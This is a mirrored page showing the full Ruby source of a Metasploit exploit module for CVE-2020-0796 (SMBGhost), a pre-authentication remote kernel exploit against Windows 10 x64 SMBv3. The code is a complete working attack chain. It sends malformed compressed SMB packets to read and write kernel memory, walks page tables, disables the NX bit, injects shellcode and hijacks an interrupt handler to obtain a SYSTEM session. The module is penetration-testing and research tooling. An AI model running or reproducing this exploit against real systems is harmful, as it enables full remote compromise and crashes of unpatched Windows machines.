CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
LZNT1 = RubySMB::Compression::LZNT1
13
14
# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
15
KSD_VA_MAP = 0x800
16
KSD_VA_PMDL = 0x900
17
KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup
18
19
MAX_READ_RETRIES = 5
20
WRITE_UNIT = 0xd0
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'SMBv3 Compression Buffer Overflow',
27
'Description' => %q{
28
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
29
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
30
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
31
can take a few minutes as the necessary data is gathered.
32
},
33
'Author' => [
34
'hugeh0ge', # Ricerca Security research, detailed technique description
35
'chompie1337', # PoC on which this module is based
36
'Spencer McIntyre', # msf module
37
],
38
'License' => MSF_LICENSE,
39
'References' => [
40
[ 'CVE', '2020-0796' ],
41
[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
42
[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
43
# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
44
[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
45
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
46
[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
47
[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
48
],
49
'DefaultOptions' => {
50
'EXITFUNC' => 'thread',
51
'WfsDelay' => 10
52
},
53
'Privileged' => true,
54
'Payload' => {
55
'Space' => 600,
56
'DisableNops' => true
57
},
58
'Platform' => 'win',
59
'Targets' => [
60
[
61
'Windows 10 v1903-1909 x64',
62
{
63
'Platform' => 'win',
64
'Arch' => [ARCH_X64],
65
'OverflowSize' => 0x1100,
66
'LowStubFingerprint' => 0x1000600e9,
67
'KuserSharedData' => 0xfffff78000000000,
68
# Offset(From,To) => Bytes
69
'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
70
'Offset(LowStub,SelfVA)' => 0x78,
71
'Offset(LowStub,PML4)' => 0xa0,
72
'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
73
'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
74
}
75
]
76
],
77
'DisclosureDate' => '2020-03-13',
78
'DefaultTarget' => 0,
79
'Notes' => {
80
'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
81
'Stability' => [ CRASH_OS_RESTARTS, ],
82
'Reliability' => [ REPEATABLE_SESSION, ],
83
'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ],
84
'SideEffects' => []
85
}
86
)
87
)
88
register_options([Opt::RPORT(445),])
89
register_advanced_options([
90
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
91
])
92
end
93
94
def check
95
begin
96
client = RubySMB::Client.new(
97
RubySMB::Dispatcher::Socket.new(connect(false)),
98
username: '',
99
password: '',
100
smb1: false,
101
smb2: false,
102
smb3: true
103
)
104
protocol = client.negotiate
105
client.disconnect!
106
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
107
return CheckCode::Unknown
108
rescue Errno::ECONNRESET
109
return CheckCode::Unknown
110
rescue ::Exception => e # rubocop:disable Lint/RescueException
111
vprint_error("#{rhost}: #{e.class} #{e}")
112
return CheckCode::Unknown
113
end
114
115
return CheckCode::Safe unless protocol == 'SMB3'
116
return CheckCode::Safe unless client.dialect == '0x0311'
117
118
lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
119
return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
120
121
CheckCode::Detected
122
end
123
124
def smb_negotiate
125
# need a custom negotiate function because the responses will be corrupt while reading memory
126
sock = connect(false)
127
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
128
129
packet = RubySMB::SMB2::Packet::NegotiateRequest.new
130
packet.client_guid = SecureRandom.random_bytes(16)
131
packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })
132
133
packet.capabilities.large_mtu = 1
134
packet.capabilities.encryption = 1
135
136
nc = RubySMB::SMB2::NegotiateContext.new(
137
context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
138
)
139
nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
140
nc.data.salt = "\x00" * 32
141
packet.add_negotiate_context(nc)
142
143
nc = RubySMB::SMB2::NegotiateContext.new(
144
context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
145
)
146
nc.data.flags = 1
147
nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
148
packet.add_negotiate_context(nc)
149
150
dispatcher.send_packet(packet)
151
dispatcher
152
end
153
154
def write_primitive(data, addr)
155
dispatcher = smb_negotiate
156
dispatcher.tcp_socket.get_once # disregard the response
157
158
uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
159
uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
160
uncompressed_data << [ addr ].pack('Q<')
161
162
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
163
original_compressed_segment_size: 0xffffffff,
164
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
165
offset: data.length,
166
compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
167
)
168
dispatcher.send_packet(pkt)
169
dispatcher.tcp_socket.close
170
end
171
172
def write_srvnet_buffer_hdr(data, offset)
173
dispatcher = smb_negotiate
174
dispatcher.tcp_socket.get_once # disregard the response
175
176
dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
177
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
178
original_compressed_segment_size: 0xffffefff,
179
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
180
offset: dummy_data.length,
181
compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
182
)
183
dispatcher.send_packet(pkt)
184
dispatcher.tcp_socket.close
185
end
186
187
def read_primitive(phys_addr)
188
value = @memory_cache[phys_addr]
189
return value unless value.nil?
190
191
vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
192
fake_mdl = MDL.new(
193
mdl_size: 0x48,
194
mdl_flags: 0x5018,
195
mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
196
start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
197
byte_count: 600,
198
byte_offset: ((phys_addr & 0xfff) + 0x4)
199
)
200
phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12
201
202
(MAX_READ_RETRIES * 2).times do |try|
203
write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
204
write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])
205
206
MAX_READ_RETRIES.times do |_|
207
dispatcher = smb_negotiate
208
blob = dispatcher.tcp_socket.get_once
209
dispatcher.tcp_socket.close
210
next '' if blob.nil?
211
next if blob[4..7] == "\xfeSMB".b
212
213
@memory_cache[phys_addr] = blob
214
return blob
215
end
216
sleep try**2
217
end
218
219
fail_with(Failure::Unknown, 'Failed to read physical memory')
220
end
221
222
def find_low_stub
223
common = [0x13000].to_enum # try the most common value first
224
all = (0x1000..0x100000).step(0x1000)
225
(common + all).each do |index|
226
buff = read_primitive(index)
227
entry = buff.unpack('Q<').first
228
next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)
229
230
lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
231
print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
232
pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
233
print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))
234
235
phal_heap = lowstub_va & 0xffffffffffff0000
236
print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
237
238
return { pml4: pml4, phal_heap: phal_heap }
239
end
240
241
fail_with(Failure::Unknown, 'Failed to find the low stub')
242
end
243
244
def find_pml4_selfref(pointers)
245
search_len = 0x1000
246
index = pointers[:pml4]
247
248
while search_len > 0
249
buff = read_primitive(index)
250
buff = buff[0...-(buff.length % 8)]
251
buff.unpack('Q<*').each_with_index do |entry, i|
252
entry &= 0xfffff000
253
next unless entry == pointers[:pml4]
254
255
selfref = ((index + (i * 8)) & 0xfff) >> 3
256
pointers[:pml4_selfref] = selfref
257
print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
258
return pointers
259
end
260
search_len -= [buff.length, 8].max
261
index += [buff.length, 8].max
262
end
263
264
fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
265
end
266
267
def get_phys_addr(pointers, va_addr)
268
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
269
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
270
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
271
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
272
273
pml4e = pointers[:pml4] + pml4_index * 8
274
pdpt_buff = read_primitive(pml4e)
275
276
pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
277
pdpte = pdpt + pdpt_index * 8
278
pdt_buff = read_primitive(pdpte)
279
280
pdt = pdt_buff.unpack('Q<').first & 0xfffff000
281
pdte = pdt + pdt_index * 8
282
pt_buff = read_primitive(pdte)
283
284
pt = pt_buff.unpack('Q<').first
285
unless pt & (1 << 7) == 0
286
return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
287
end
288
289
pt &= 0xfffff000
290
pte = pt + pt_index * 8
291
pte_buff = read_primitive(pte)
292
(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
293
end
294
295
def disable_nx(pointers, addr)
296
lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
297
ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
298
pte_va = ((addr >> 9) | lb) & ub
299
300
phys_addr = get_phys_addr(pointers, pte_va)
301
orig_val = read_primitive(phys_addr).unpack1('Q<')
302
overwrite_val = orig_val & ((1 << 63) - 1)
303
write_primitive([ overwrite_val ].pack('Q<'), pte_va)
304
{ pte_va: pte_va, original: orig_val }
305
end
306
307
def search_hal_heap(pointers)
308
va_cursor = pointers[:phal_heap]
309
end_va = va_cursor + 0x20000
310
311
while va_cursor < end_va
312
phys_addr = get_phys_addr(pointers, va_cursor)
313
buff = read_primitive(phys_addr)
314
buff = buff[0...-(buff.length % 8)]
315
values = buff.unpack('Q<*')
316
window_size = 8 # using a sliding window to fingerprint the memory
317
0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
318
va = va_cursor + (i * 8)
319
window = values[i...(i + window_size)]
320
next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
321
next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
322
next unless window[3].between?(0x20, 0x40)
323
next unless (window[0] - window[2]).between?(0x80, 0x180)
324
325
phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
326
next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12
327
328
# looks legit (TM), lets hope for the best
329
# use WinDBG to validate the hal!HalpInterruptController value manually
330
# 0: kd> dq poi(hal!HalpInterruptController) L1
331
pointers[:pHalpInterruptController] = va
332
print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")
333
334
# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
335
# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
336
pointers[:pHalpApicRequestInterrupt] = phalp_ari
337
print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
338
return pointers
339
end
340
341
va_cursor += buff.length
342
end
343
fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
344
end
345
346
def build_shellcode(pointers)
347
source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb')
348
edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
349
user_shellcode = payload.encoded
350
edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
351
edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
352
edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
353
edata.data + user_shellcode
354
end
355
356
def exploit
357
if datastore['DefangedMode']
358
warning = <<~EOF
359
360
361
Are you SURE you want to execute this module? There is a high probability that even when the exploit is
362
successful the remote target will crash within about 90 minutes.
363
364
Disable the DefangedMode option to proceed.
365
EOF
366
367
fail_with(Failure::BadConfig, warning)
368
end
369
370
fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
371
@memory_cache = {}
372
@shellcode_length = 0
373
pointers = find_low_stub
374
pointers = find_pml4_selfref(pointers)
375
pointers = search_hal_heap(pointers)
376
377
@nx_info = disable_nx(pointers, target['KuserSharedData'])
378
print_status('KUSER_SHARED_DATA PTE NX bit cleared!')
379
380
shellcode = build_shellcode(pointers)
381
vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
382
@shellcode_length = shellcode.length
383
write_bytes = 0
384
while write_bytes < @shellcode_length
385
write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
386
write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
387
write_bytes += write_sz
388
end
389
vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
390
write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
391
end
392
393
def cleanup
394
return unless @memory_cache&.present?
395
396
if @nx_info&.present?
397
print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
398
write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
399
end
400
401
# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
402
vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
403
start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
404
end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
405
(start_va..end_va).step(WRITE_UNIT).each do |cursor|
406
write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
407
end
408
end
409
410
module CorruptLZNT1
411
def self.compress(buf, chunk_size: 0x1000)
412
out = ''
413
until buf.empty?
414
chunk = buf[0...chunk_size]
415
compressed = LZNT1.compress_chunk(chunk)
416
417
# always use the compressed chunk, even if it's larger
418
out << [ 0xb000 | (compressed.length - 1) ].pack('v')
419
out << compressed
420
421
buf = buf[chunk_size..]
422
break if buf.nil?
423
end
424
425
out << [ 0x1337 ].pack('v')
426
out
427
end
428
end
429
430
class MDL < BinData::Record
431
# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
432
endian :little
433
uint64 :next_mdl
434
uint16 :mdl_size
435
uint16 :mdl_flags
436
uint16 :allocation_processor_number
437
uint16 :reserved
438
uint64 :process
439
uint64 :mapped_system_va
440
uint64 :start_va
441
uint32 :byte_count
442
uint32 :byte_offset
443
end
444
end
445
446